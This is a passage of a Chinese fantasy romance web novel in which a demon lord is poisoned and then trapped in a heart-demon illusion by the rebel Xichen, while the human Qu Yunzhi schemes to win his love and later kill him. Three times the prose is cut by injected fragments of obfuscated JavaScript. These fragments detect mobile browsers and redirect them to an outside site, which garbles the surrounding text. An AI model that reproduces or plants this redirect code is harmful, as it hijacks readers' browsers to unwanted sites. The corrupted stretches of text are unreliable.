多少年没有像个毛头小子一样,急躁又冲动,莽莽撞撞却找不到方向地表现自己,欢喜与失落尽皆牵系于一人身上。 兴许,有那么一点点,他喜欢上了她。 不是出自征服欲,因为只要稍微设想一下他所期望的,与曲云织的未来就能知道。 他并非想将她仅仅当做一个对手,一个即将到手的战利品。 而是想与她结为夫妻那般的喜欢。 万俟逐鹿叹了口气,他今日的烦恼格外多,或许正是因为他明了了自己的心意,但又绝不能表达出来。 他有些喜欢曲云织,不代表她亦然。 最终,他只是拾起一根金丝牡丹的发钗,簪到曲云织的发髻上。 用一副略显轻佻的口吻,将出自真心的爱怜隐藏起来,“美人如斯,为何不多爱惜自己一些?” 曲云织眼睫一颤,抬眸。 为了替她簪发,魔尊与她离得很近,近到二人能察觉彼此的气息,能看透对方面上每一丝细微的表情。 金尊玉贵的少年,也许是青年也说不定,他的五官介于青涩与成熟之间,倒是那股轻狂劲儿掩饰不住。 于她而言异域风情的装扮,就连辫子都要扎得一丝不苟,可这份讲究之中又透着些不拘小节,大喇喇敞开衣襟,露出流畅精致的锁骨与胸膛。 魔尊微垂眉目,黑瞳于是显得深邃,似真似假的情意如水波般飘摇不定。 好傻。 凭他这点隐藏心思的功夫,怎么可能逃得过自己的眼睛? 曲云织似有所触动,捧住魔尊的脸,倾身将要吻了上去。 万俟逐鹿瞳孔一缩。 他屏住了呼吸,全身上下连心脏都僵硬住了,不知所措,只能被动等待这个吻的到来。 曲云织将他生涩的反应看在眼里,唇角勾了勾,即将吻上他之前忽而偏转了方向,吐息落在他耳侧。 “有人在看我们。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251974|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 万俟逐鹿:“……” 他眉毛往下压了压,显然不大高兴,心里憋了口不上不下的气,刚想说大街上被人看着不是很正常吗?管他那么多干嘛吻就完事。 曲云织再次对他耳语,“我们被人盯住了,是监视。” “如今王城局势紧张,你选择这个时间出魔宫,给了心怀不轨之徒最好的下手机会。” 曲云织不轻不重咬了下魔尊的耳垂,像是一个小小的报复,“你是不是故意把我牵扯进来的?” 万俟逐鹿一颤,酥麻的痒意如一道电流,瞬间贯穿他的四肢百骸,他似乎有些明白温柔乡的意思,既欢喜于曲云织的亲密举动,又恼恨那些不解风情的眼线扰了他兴致。 他一把捉住曲云织的腕,无所谓笑道:“怎么能算是牵扯,你我在外人看来早就是一心同体的了。” “你说是吧,夫人?” 他特意没有念出曲云织的姓氏,仿佛她当真是他的妻子,唇齿间碰撞出的音色是如此自然而然地流泻,好似他本该如此称呼她。 曲云织却觉得难以适应,手抵着魔尊的胸膛,要将他推开。 万俟逐鹿反应比她快些,难得见她无言以对的模样,自觉在交锋中扳回一局,爽朗笑着拉住她手腕,往摊子上丢下一袋子灵石,就这样在人流如织的大街上奔跑起来。 曲云织也不知心中是何想法,许是被魔尊这突如其来的行为打乱了步调,望着他神采飞扬的侧脸,风中肆意招展的长发,竟也随着他胡闹起来。 他们甩脱了无处不在的暗中窥伺。 就好像甩脱了更多背负在身上的某种东西。 但那究竟是什么,曲云织也不知道,唯独有一件事她无比清楚—— 宛若一场无需终点的私奔。 他们在那一刻,好似是自由的。 …… “回去吧。” 曲云织听到魔尊这样说。 他们一路穿过了街头摊贩,穿行在错综复杂的小巷里,望见桃花春水,桥头杨柳,最终止步于王城大门前。 时近黄昏,青石板路被涂抹上凄艳的红。 曲云织察觉魔尊牵住自己的手将要松开,而手心是冰凉的。 她觉得有些奇怪。 万俟逐鹿转过身来看她,面色苍白,经脉却呈现异样的漆黑,宛如瓷器上绽开的黑色裂纹,自四肢百骸一路蔓延至脖颈。 曲云织瞳孔紧缩,张了张嘴。 万俟逐鹿食指抵在她唇前,轻轻嘘了一声。 什么时候中的毒? 曲云织眼瞳急剧颤抖,回忆从离开魔宫后的每一丝细节。 是一路上那些脸也没看清的行人,是手段高超的刺客,还是一开始就在那个首饰摊子上? 甚至于魔尊带她避人耳目,本就是为了不暴露他已中毒之事? 曲云织神情一时之间晦涩了起来,沉暗的眼眸映着夕阳一抹艳红,就像溅上了一捧血。 她深深看着魔尊。 要隐瞒身中剧毒的事实,他直到僻静无人的地方才敢停下来。 也就是说,此处没有除了她与魔尊之外的任何第三方,或许藏了几个暗卫也说不定。 但这是魔尊难得虚弱的时机。 可惜还不行。 曲云织不无遗憾地想。 魔尊现在顶多处于情窦初开的阶段,远远不到深爱的地步。 种子刚刚萌芽,等到开花结果再摘取,还需要很长一段时间。 曲云织最后什么也没说,她沉默地挽住了魔尊的手臂,借此搀扶他摇摇欲坠的身形。 万俟逐鹿没有拒绝,坚持地说:“回去吧。” 那场临时起意的私奔短暂得像一个错觉。 不论如何。 他们终是要回到那座尔虞我诈的宫廷。 11. 第 11 章 魔尊出宫一趟,被下了剧毒。 这条消息紧急封锁起来,只有魔尊亲信才有资格得知。 曲云织坐在榻边,不免稀奇,她还是第一次见到向来强势的魔尊如此脆弱的模样,尾端泛白的黑发柔顺披散,连同冷峻的五官轮廓都柔和几分。 她对正病歪歪躺着的魔尊说:“行了,别装样子,不清楚的还以为你命不久矣。” 曲云织戳了戳万俟逐鹿白到几无血色的脸,指尖虚虚描摹漆黑泛着死气的经脉,一针见血地指出,“那天你离开魔宫,本就是为了主动卖个破绽,好引蛇出洞。” 万俟逐鹿眨了眨眼睛,歪头,铺陈的长发稍稍乱了一下,倒显得有几分顽劣,“被看出来了,我还以为你会趁我虚弱时下手。” 他垂下眼睫,颇为惋惜,“让我抓个正着的话,就可以名正言顺地欺负你了。” 曲云织唇角微弯,却了无笑意,她加重力道一弹魔尊的额头,直将他苍白的肤色都弹得发红,“什么时候收网?” 魔族内部的矛盾日益激化。 激进派依靠麟符控制了位于魔域边境的低等魔族,纵然他们神智低微,修为不足,可数量占据魔族七成之多,自四面八方逼近足以围困王城。 而守旧派大抵是一些传承悠久的贵胄,在魔族之中占据高位。 魔尊同时得罪这两派,可谓独木难支。 尤其激进派大规模撤出王城,只等与边境魔族汇合,麟符一出即可动兵。 守旧派依然像一条盘踞枕边的蛇,只要设法阻拦魔尊派出的追兵,帮助激进派逃离王城的包围,就可以坐山观虎斗。 魔尊不可能坐视事态发展至此,他正试图逼迫守旧派下场,激进派撤出王城的现在,他同样可以毫无顾忌地清剿守旧派。 但若是与守旧派的冲突过早消耗兵力,又该便宜了激进派,这其中的分寸需谨慎把握。 万俟逐鹿听到她的问题,反应却不大自然。 他默默将被子往上拉了拉,脸遮住不给曲云织继续戳,他语气沉闷中透着丝心虚的意味,“的确,我不出点岔子,背后总有人畏畏缩缩保持观望。” “但是吧——” 他嗓音发飘,“网暂时收不了,这毒有点超出我的预估。” 曲云织:“?” “就是说我玩砸了。”万俟逐鹿整只魔都埋进了被窝,“本来打算假装在袭击中受点伤的,但希辰那厮技高一筹,我都不知道自己什么时候中的毒。” 曲云织:“……” “一路走好。”她手掌覆在魔尊眼皮,贴心地替他合上,“我是不会怀念你的。” 万俟逐鹿垂死病中惊坐起,急忙拉住曲云织的衣袖,“别啊,我还有救,别急着抛下我嘛。” 他倒回床上,神色恢复往昔的恣意,“这毒说麻烦挺麻烦的,说不麻烦也不麻烦。” 曲云织冷漠扯出自己的袖摆,“说人话。” 万俟逐鹿撇嘴,“此毒名为宫花一落,顾名思义,当毒性伴随精、气、神三花一同聚顶后,就是命丧之时。” “这个过程尚且能以修为压制延缓,说它麻烦就在于,解药只生长在魔域边境的火山区域,因为对段干鸿那样的炎魔修炼有所帮助,故而被炎魔一族牢牢把持。” 想要得到解药,就只能前往炎魔一族的领地。 如同他在逼守旧派下场,守旧派也在逼他和激进派开战。 曲云织挑眉,“所以你想与段干鸿和谈?” “可能吗?”万俟逐鹿抛出一句反问,随即闷闷不乐道,“反正我绝对不要向他低头。” 他脸颊上染黑的经脉如同褪色的墨痕,逐渐淡化于无,以绝对的修为将毒发症状强行压制,同往常那样露出爽朗而张狂的笑容。 “不就是在毒发的时限前收复激进派吗?” “轻而易举。” * 对激进派的围堵工作仍在继续,只要在他们抵达边境前将其截杀,就是魔尊的胜利。 反之,就该轮到守旧派坐收渔翁之利。 王城内同样不得安生,想要让守旧派下场,光是破绽不够,还得加码,魔尊于是开始大刀阔斧地着手于清理守旧派,行动有条不紊,丝毫不像被剧毒时刻追赶。 他将自己中毒之事隐瞒得很好,就连背后下毒的希辰也将信将疑,摸不准他究竟是在装样子示弱,还是因为剧毒缠身而故弄玄虚。 曲云织就这样在一旁看着。 魔尊每日都例行公事召见下属,做出的决断一如既往理智英明,唯独令人诟病的,是他如同沉迷美色的君王,无论大事小事都与曲云织形影不离。 可曲云织十分清楚,他只是行动不便,需要在抑制不住毒性时依靠她支撑身体。 有时候她也不太理解,魔尊这份莫名其妙的信任从何而来。 这样的日子持续不了多久。 端看是魔尊撑不住倒下,还是守旧派率先发难。 终于在某一天,曲云织等来了一条通传。 守旧派首领希辰求见魔尊。 曲云织拦在了魔尊寝宫前,带着礼仪周到的微笑,“希辰大人别来无恙。” 希辰顿足,他双目失明,一举一动却未曾受到影响,拱手道:“曲夫人安好。” “魔尊陛下如今正在休息,若有要紧事不妨交由我转达。”曲云织笑吟吟地说,脚步正正好挡在前往寝宫的必经之路上。 她话说得不假,魔尊不久前才捱过一次毒性发作,如今体力耗尽正在休憩。 希辰似有所觉,意味深长道:“曲夫人倒是与魔尊陛下亲厚。” 曲云织敛了敛眸,唇角微弯,“哪里,不过仗着魔尊陛下对我有几分在意。” 她语调一转,“希辰大人呢,此番前来又是为何?” 希辰顿了数息,察觉曲云织态度强硬,不肯让他亲自见一见魔尊,心中有了较量,神色淡下来,“不是什么重要的事,何必劳烦曲夫人传话,我改日再来便可。” 曲云织目送希辰转身就走,心知这事只怕瞒不过去,就算她今日将希辰拦下,等日后他再行拜访,不可能一次又一次推拒。 她眸光微动,忽而开口,“希辰大人留步。” “算算时辰,魔尊陛下也快要醒了。”她像是中途改变了主意,侧了侧身,给希辰让开一条路。 曲云织倏而想起,她从来不是魔尊的同伴。 她始终不曾忘却自己的目的,杀死魔尊,夺取他身上的魔族至宝九幽水。 或许魔尊将她以往的踟蹰,理解为实力不足且事后无法收场。 然而事实是,她比起猎人更像一个果农,需以模具将果实塑造成合乎心意的模样,等成熟之日再将其摘下。 她要让魔尊全心全意爱上自己。 而现在摆在她面前的有两条路,一是落井下石,在魔尊墙倒众人推的路上再推一把。 二是作为魔尊的助力,走细水长流的温情路线。 前者风险高,需要拿捏好可恨与可爱之间的尺度。 后者耗时长,她不大乐意采用。 她决定将希辰提前放入魔尊寝宫,如果魔尊顺利度过此次难关,就该轮到她发力搞事,在魔尊心底留下难以忘怀的一笔。 但如果魔尊度不过,难不成需要她带飞这个小废物? 魔尊不至于如此没用吧? 回想起他中毒后缩在被子里可怜兮兮的身影,曲云织一时也不确定起来。 就在她短暂出神的间隙,希辰已大步推开寝宫殿门。 伴随吱呀一声闷响,光与浮尘一同涌入金碧辉煌的寝宫。 万俟逐鹿便位于正上首,岔开腿大马金刀一坐,支着下巴饶有兴味投来一瞥,像是早有所料等候已久。 曲云织微愣了下。 而希辰早已迈步跨入寝宫,在空气中不着痕迹轻嗅,气味干净得很,没闻到预想中的药味和血腥气。 他稳了稳心中思绪,来到宫殿正中央行了一礼。 万俟逐鹿却看也不看他,视线落在大开的殿门旁,阳光照射不到的一片浓稠阴影里,曲云织正安静地站在那儿与他对视。 她看起来如同潜伏黑暗中,精心织网猎食的蜘蛛。 分明是希辰与他的互相试探,可以这座寝宫为棋盘,实际却更像他与她之间的博弈。 万俟逐鹿没忍住轻笑了一声。 引来希辰的疑惑,“魔尊陛下在笑什么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251975|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 万俟逐鹿随口敷衍道:“没什么,说吧,找本尊何事?” 希辰振了振袖摆,他生了一副极具欺骗性的外表,像人族那些光风霁月的君子,平日里处事也颇具端正清雅之风。 一张口,他开始了长篇大论的胡扯,以往从不话痨,偏偏这时有兴趣事无巨细地汇报,小到一些琐碎杂事也恨不得灌进魔尊的耳朵。 无非是想拖时间,看看他会不会毒发,丑态毕露。 万俟逐鹿不耐烦地摆摆手,“要再扯这些杂七杂八的,你可以退下了。” 希辰顺从地止住话音,他本也没想靠这种小手段探魔尊的底细,“魔尊陛下。” 他的语气有几分真心实意地劝诫,“有些过去的事情就该让它过去。” 万俟逐鹿扬了扬眉梢,没说话。 希辰苦笑道:“当年您即位时,确有几个不长眼的宵小偷袭了您,可他们早已伏诛,何必对如今的守旧派赶尽杀绝?” 他垂头,银白长发滑落,衬得他如一株脆弱纤细的白梅,贞静而恭顺,“实话说,我此次拜访没安什么好心。” 万俟逐鹿总算来了点兴致,托着下巴,喉间溢出一道上扬的尾音。 希辰说:“激进派已经与您离心,何必再将我们推开,这几日王城卫兵将我们逼得紧,再这样下去我们总归是要反抗,为自己搏一条生路。” “可那样就会演变成王城内乱,我想了许久还是觉得没必要,都是魔族,为何要闹得如此难看?” 他一番话说得诚恳,语毕,还微微偏头,有意无意转向角落里的曲云织。 万俟逐鹿沉默了片刻,“那你呢?” 希辰似是不解。 “你真的甘心所有事就此翻篇吗?”万俟逐鹿慢条斯理地问。 希辰神色有一瞬凝滞,如沐春风的温雅气质都消了些,他抚摸那一头惨淡枯槁的雪白长发,斟酌语句,“的确,当年之事我也脱不开干系,代价就是根骨被您废了。” 他转而触碰紧闭的眼皮,“就连这双曾引以为傲的眼睛也被您刺瞎。” “要问我甘不甘心——” 希辰没有再继续这个话题。 蓦地,他快步上前,指尖法诀一掐对准了正前方的魔尊,只低声说了句不走心的“失礼”。 万俟逐鹿反应迅速,侧头险险躲过袭来的一击。 与此同时,希辰脚下的影子不安地攒动,如同泥淖般分化出几缕漆黑污浊的液浆,将希辰死死捆缚住。 “你想做什么?”万俟逐鹿来到他面前,眼中压抑着暴戾。 希辰却毫不畏惧,处于动弹不得的境地,他甚至有闲心笑了笑,“魔尊陛下近来做出种种不合理的举动,更是让一个人族陪伴身侧参与魔族种种事宜。” “所以我有理由怀疑,魔尊陛下被蛊了神智,方才只是略做试探。” 希辰表现得就像他有多么为魔尊找想,自责懊恼但又大义凛然地说:“如果这只是我无稽之谈的妄想,那我事后自会请罪,可还请魔尊为了让我等安心,让我探一探您的识海。” 万俟逐鹿眸色渐深,酝酿着危险的意味,“如果我说不呢?” 希辰未有失望,他很轻地叹了口气,“魔尊陛下,若你全盛之时,设下的禁锢足以让我丝毫魔气都调动不得。” 方才那些不过是以防万一的托辞,他真正的目的是让魔尊动用修为,借以试探出,魔尊确实中了他下的宫花一落。 那他就没必要顾忌,眼下是最好的动手时机。 希辰睁开了那双本该被刺瞎的眼睛。 眼皮后并不是黑漆漆的空荡眼眶,而是一双堪称漂亮的眼珠。 虹膜颜色泛青,与眼白几乎看不出区别,乍一看全白的眼球之上,烙印某种奇异的金色图腾,将瞳孔取而代之。 虚渺而鬼魅的声音降临,层层叠叠分不清男女老少的嘈杂絮语回荡,仿佛幽林间呼啸诡异的风声。 一旁,曲云织感觉自己的神识如被巨石击破的水面,仅是余波就让她脑海一阵阵胀痛,心绪不稳,无数想要遗忘的梦魇,那些或痛苦或悲伤的回忆纷纷扰扰奔涌而来。 于短暂的清明间,她骤然明白了希辰的真身,喃喃道:“心魔。” 12. 第 12 章 “魔尊的真身是什么?” 自从与宋逾聊了这个话题,曲云织时不时会想起来,冒出淡淡的好奇。 黑黑小小贴墙爬,这是个什么玩意儿? 宋逾拗不过她频繁追问,终于在某一天给了她解答。 “是影魔。” 彼时,曲云织流露恰到好处的惊讶之色,视线扫过淤积在边边角角的阴影,“影魔我听说的不多,但最著名的那个似乎是永夜城主。” 据说他的影子庞大到遮天蔽日,永夜无光,凡黑暗所笼罩之地,皆为领土。 只要龟缩永夜城内,就很难有威胁到他性命的事物。 为了剿灭他,包括上清仙宗在内的几大顶级宗门联合围攻永夜城,即便如此也损兵折将了不少。 “魔尊也能创造出一方永夜城吗?”曲云织问。 宋逾拧巴了一张脸,不是很愿意提及这个话题,但还是说了,“老大可不是那种魔族内也凤毛麟角的高等影魔,而是影魔中最低劣的存在,魍魉。” 曲云织这回是真的感到惊诧了。 她认得魍魉,那就是一种依靠影子与黑暗潜行,只敢偷偷摸摸作乱的魔族,除去敛息的能力还算可取,就再无任何特长,连凡人在烈阳高照之时都有机会将其击杀。 魍魉的外形就是漆黑巴掌大的一团,像一块竹炭糯米糍。 原来不是蟑螂啊。 曲云织莫名有些失望。 既然聊起那些有名有姓的魔族真身的问题,她也就继续问了下去。 宋逾说:“段干鸿是炎魔,那一族生活在魔域边境的火山地区,皮糙肉厚火气大。” “你身边那个暗卫是凶魔。”他皱了皱鼻子,很是嫌弃,“凶魔没别的特长,就是招瘟,靠近他们的都会倒霉。” “那你呢?”曲云织问,“你的真身又是什么?” 宋逾话音戛然而止,停顿了许久,才道:“我也不知道自己真身是什么。” 他嘻嘻哈哈地表示,“反正是典型的边境魔族,修为不高,长得歪瓜裂枣,连身上混了哪些杂七杂八的血脉都不清楚。” 眼见他有喋喋不休下去的征兆,曲云织径直打断了他,“希辰呢?怎么没听你提及过他?” 宋逾不着痕迹松了口气,他也不想揪着自己的出身开嘲讽,可越想不在意就越无法不去在意。 “希辰啊。”宋逾琢磨了一下,“这我也没听说过,只知道他以前也是很厉害的魔族,根骨被废后,就不怎么活跃了。” 眼下,这个问题终于有了解答。 曲云织揉捏着眉心,后背倚着冰冷的墙面才不至于跌倒,她本就苍白的面色更加惨淡上几分,几乎成了个半透明的幽魂。 神识如同翻江倒海般震荡着,素来摆弄他人识海的她,有朝一日也品尝到神识动荡的滋味。 心魔啊。 那是对修士而言最臭名昭著的一支魔族。 他们通常与执念、劫数、业孽,这种麻烦又复杂的东西伴生,最喜欢在修士渡劫时趁虚而入,像品尝佳肴前的仪式那般摧折其道心。 * 万俟逐鹿被困在了心魔幻境里。 当初就是希辰这双眼睛作祟,让刚即位成魔尊的他毫无抵抗被偷袭,还是濒死之时爆发的求生欲助他得以挣脱。 他本应该已经刺瞎了希辰的双目,这才大意没设防,怎料希辰不知从哪儿找的歪门邪道,瞎了的眼睛竟还能用上一用。 万俟逐鹿并不觉得同一个招数能对他起效两次。 心魔? 从前心志尚且稚拙的他暂且不论,如今的他哪儿来的心魔? 妄念、悔意、贪嗔痴怨恨,这种东西他都没有。 他倒要看看,心魔能想出何种招数折腾他。 万俟逐鹿行走在一片光怪陆离的黑暗中,记忆的碎片时不时漂浮闪现。 那是他曾经历的过去。 他看到了儿时的同伴,一个个长得磕碜滑稽,奇形怪状。 因为他们是魔域最低等的存在,神智残缺,天资受限,混了些乱七八糟的血脉,连一个正经的种族名称都没有。 他们总是呜呜咽咽着听不懂的话语,或许语言都算不上,只是无意义的嚎叫。 比起魔族,他们更像是被本能驱使的蒙昧野兽,放逐在魔域边境,终生都只能浑浑噩噩朝不保夕地度过。 可他们是他的家人,垃圾场里一起互相扶持的野生小动物。 气运之子成长的路上劫难不断,他注定要遭遇无数次的生死险境。 都说这群吱吱哇哇的低等魔物拖累了他。 可恰恰相反,是他们为他所累。 …… 万俟逐鹿还看到了刚成为魔尊的自己。 他满心以为自己从此可以睥睨天下,再也没有什么能威胁到他。 然而,一柄自身后袭来的利刃毫不留情戳破他的自以为是,几乎贯穿他的咽喉,一路往下要撕裂他的心脉。 那时的他狼狈逃走,如同他依然还是那个生活在垃圾场的幼崽一样。 弱小、无力,这么多年什么也未曾改变,还是只能瑟瑟发抖蜷缩在庇护所里,像岩缝里的虫豸等待掠食者的离去。 严重到足以致命的伤,四面八方而来的追猎者,他甚至想过自己会就此死去。 他也不知道是什么支撑他活了下来,兴许是仇恨,也兴许是恐惧。 再后来,他隐忍蛰伏,大仇得报。 可他并不感到任何宽慰。 也无需宽慰。 曾经他以为登顶魔尊,能给当年那个独自舔舐伤口的影魔幼崽予以庇护。 事实却是,魔族信奉的强大并不曾改变任何事物。 万俟逐鹿行走在心魔幻境里,他脚下有一条路,使他不至于迷失。 他所回顾的过去只会让现在的他更为坚定。 在这条路的尽头,心魔幻境的最深处,他见到了一个意想不到的身影—— 曲云织。 为何是她? 万俟逐鹿驻足,他怎么也没想到藏得最深的心魔会是她。 他承认,他对她动了心。 但那一点点的喜欢,还不足以成为她阻碍自己的理由。 万俟逐鹿扯了扯嘴角,重新跨步上前,莫说眼前不过是一道幻影,就算是本尊出现在此,他也绝不会容许她挡了自己的道。 “想不通我为何会出现在此?”曲云织的幻影开口了。 她有着与本尊如出一辙的外貌与神态,就连反问时眼角眉梢那一丝的嘲弄戏谑都还原得很好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251976|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万俟逐鹿漠然地瞥了一眼,继续向前。 穿过这片黑暗,就是心魔幻境的终点,明知现实里有一个真正的曲云织还在等着他交出这场交锋的答卷,何必与幻象浪费时间。 “你应该知道的。”心魔幻象似乎并不急,语调轻缓含笑,任由万俟逐鹿目不斜视越过她,“你走的这条路注定坎坷。” 她一旦将嗓音掐得温柔旖旎,就充满了蛊惑,带着钩子似的,又如一阵徐徐的风钻入耳畔。 “你幼时生活在魔域边境,想要向上爬面临的第一道关隘,是打造了麟符强行驱策边境魔族的炎魔,也就是以段干鸿为首的那一支。” 万俟逐鹿脚步不停。 心魔幻象仍在谆谆善诱,“好不容易突破这层封锁,等待你的就是来自守旧派的刺杀。” “再后来呢?” 心魔幻象自问自答,“你稳住了魔尊之位,该报的仇也报了,人族却横空出世一个玄微仙君,他的分化之计想必不好受吧,魔族内部自此骚乱不断。” “可玄微仙君横死。” “下一个给你添堵的,该轮到谁了?” 心魔幻象陡然出现在万俟逐鹿面前,如一阵捉摸不定的幻雾,编织出的是曲云织的模样。 她正言笑晏晏,昳丽面容焕发更胜以往的光彩,鬓边还簪着他送给她的那支金钗。 心魔幻象伸出手,拥有了实体,微凉的掌心覆盖在万俟逐鹿的手背,缓缓牵引着他,将那双骨节分明的手扣在了自己脖颈之上。 “你该杀了她的。”心魔幻象摆出引颈就戮的姿态,“她来到你身边本就不怀好意,迟早会杀了你,夺走你身上的至宝九幽水。” 万俟逐鹿垂眸,指尖虚虚拢着,没有用力。 心魔幻象实在太过逼真,无论是那常年寒凉的体温,幽冷而浮于表面的笑,还是浸透了皮肉散发出引动魔族食欲的异香。 都让他觉得,好像曲云织就站在了他面前。 她的咽喉被他扼住,她的生死掌握在他一念之间。 万俟逐鹿小小地喟叹了一声,说出自见到心魔以来的第一句话,“还不行,人族至宝太乙天书被她以某种手段取得,杀了她就该让人族诞生下一个气运之子。” “那得是多久以后的事?”心魔幻象的神色骤然冷了下来,一把撇开万俟逐鹿的手,不屑至极,“比起近在咫尺的威胁,无非是多了一个还未长成的玄微仙君,他本人你都不惧还会怕一个不曾谋面的小崽子?” “你分明是舍不得杀她,为此找了个拙劣的借口!” 心魔幻象扯下鬓发上的金钗,狠狠掷在地面。 清脆的声响仿佛在黑暗中无限放大,层层叠叠,如撞钟般轰击着耳膜。 心魔幻象用着曲云织的面孔,神态却逐渐变得宛如与她面对面的万俟逐鹿,同样的张狂与乖戾,步步走近,像在逼迫他看清自己的内心。 “你得明白自己真正想要的东西是什么,别被那点微不足道的情感所迷惑。” 她的神色忽又带上凄迷阴郁,用上属于曲云织的口吻。 “你其实早就知道的——” 她强硬地掰着万俟逐鹿的脸,迫使他与自己四目相对,说出那个早就了然于心的答案。 “‘我’是你应当跨越的劫难。” 13. 第 13 章 如此近距离对上希辰那双摄人心魄的眼,魔尊果不其然深陷心魔幻境之中。 深思涣散,眼神空茫,不知看到了什么,汹涌的魔气再关不住,裹挟威压,凌乱却浩浩荡荡地逸散而出。 曲云织也没想到,希辰动手得如此干脆。 她原以为上门拜访只是一次试探,借以评估该何时对魔尊下刀。 但当试探结果出来的一瞬,希辰就选择了不做不休。 自古便有擒贼先擒王的道理,他若是当场拿下处于虚弱且无防备状态的魔尊,基本可以宣告守旧派的胜利。 束缚希辰的影子,因其主人的失控而溃散。 雪衣白发的魔族拂去衣袖褶痕,用那双烙印金纹的青白瞳孔,注视万俟逐鹿良久。 希辰此时的心绪相当复杂。 多年前,他也曾是魔域鼎鼎有名的少年天才,那时的他何人不需仰望? 只是突然有一天,他被丢弃在王城大门前,发丝尽白,双目已盲,浑身上下找不出一根完好的经脉,根骨被废,从此再不得寸进。 当初遭受的屈辱他一直铭记在心,被魔尊如同垃圾一般扔在大庭广众之下,那些指指点点的私语和目光如同一把把凌迟的刀子,剐得他无地自容。 如今正是一雪前耻的机会。 确认一切尘埃落定前,希辰只是乱了乱呼吸,而后很快收敛,重新合眸,闭目朝在场第三人,曲云织的方向“看”来,“曲夫人打算如何?” 眼下万俟逐鹿魔气暴动,并非是心魔幻境的干扰,而是一种出于本能的自卫,至少在他精疲力竭之前,希辰还没有把握一击制伏魔尊。 曲云织想了想,寝宫此番动静早该引起守卫的注意,但他们迟迟不见踪影。 从门缝间隐约飘散的血腥气来看,怕是守旧派提设了伏,魔族卫兵根本指望不上。 既然不可能向外界求助,那靠她自己搏一搏呢? 曲云织端详希辰,很快掐灭了自己作死的念头。 修行五大境界,冥照、化形、长生、洞天、清虚,她刚刚迈入化形境初期,而希辰根骨被废之前,少说也在洞天境。 即便用上她拿手的神魂之力,对上心魔也只有被克制的份。 曲云织决定束手就擒,“这不是我想如何打算的问题,而是希辰大人准备怎样处置我?” 先稳住希辰再说,看看能不能找到机会将魔尊从心魔幻境里拉出来。 希辰蹙了蹙眉,反倒有些真心实意的为难,“我对曲夫人并无恶感,不过为了安抚我那些惶惶不得终日的下属,还请你委屈一二了。” 他说着自袖中取出一截捆仙绳,并指一划,绳索顺着他指尖的牵引,如同游弋的水蛇朝曲云织飞了过来。 曲云织并未有任何抵抗,她垂下眼睫。 色调晦暗的视野里闯入一抹金红交错,双色丝线编织成的捆仙绳即将落在她腕上。 忽然,像是看到了什么,曲云织脸上浮现明显的惊诧。 希辰注意到了,他几乎是立刻反应过来唯一有可能出现的变故,而骤然收束的暴虐魔气也印证了这一点。 万俟逐鹿醒了。 希辰来不及转身,他肩上已然搭了一只手。 五根手指修长利落,骨节如青竹般微凸,是一只匀称漂亮的手,美中不足的是,其上蜿蜒的经脉呈现深紫发黑的色泽,看着既病态也妖异。 万俟逐鹿就像刚从一场深眠中清醒,懒懒的,提不起多大兴致,动作也很随意。 可希辰却不敢妄动。 他甚至有些不敢相信现在的情况。 这才过了多久,有盏茶时间吗? 魔尊不应该清醒得如此之快,就好像心魔幻境压根没对他起效! 尤记得上次对他施展这番神通,魔尊直到被偷袭濒死才勉强挣脱幻境。 跌过一次的坑再难爬出来第二次,这才叫心魔才对! 万俟逐鹿才不理会希辰心中的惊涛骇浪,他在清醒后第一时间,视线四处逡巡,直到落在了曲云织身上。 该怎样形容他的眼神? 曲云织翻了翻以往的经历,总算找到了合适的词汇。 那像是下定了某种决心的眼神。 此前闪烁不定的迟疑,虚幻迷离的爱恋,那些浮动的、游移的,令他裹足不前的情绪如沉入湖底的枯叶,安静地等待着腐烂成泥。 他对她的心动,仿佛只是一场意外的错位,一切即将回归他们刚相识之初的原点。 魔尊似乎有了决断,该决定如何对待她了。 他在心魔幻境中看到了什么,才促使他心态发生如此转变? 曲云织并不在乎。 她毫不避让,笑着迎上魔尊如同打量该从何处下刀的目光。 刚巧,她也得出了同样的结论。 该由她为魔尊一帆风顺的路上增添磨难了。 “魔尊陛下。”希辰声线平稳,在经历剧烈的心湖动荡后,很快冷静下来。 他不是没设想过失败的结果,最紧要的是赶快补救。 希辰转过身,肩头搭着的手自然滑落,他恭谨而谦顺地单膝跪地,以示臣服,“方才担心魔尊陛下受奸人蛊惑,不得已出此下策,强闯魔宫对您施展神魂禁术。” “所有罪责都在于我,我自愿受罚。” 万俟逐鹿中断与曲云织的对视,低头看向希辰。 “有一件事困扰本尊许久了。”他略显粗暴地拽住希辰一头白发,迫使他仰头,“你与我之间究竟有什么深仇大怨?” 希辰面上流露的与其说是痛苦,更像是被轻贱至此的屈辱,他温文尔雅的笑都很难维持,偏过脸,示意那头枯槁惨淡的白发,“我是如何沦落成这般,魔尊陛下再清楚不过。” 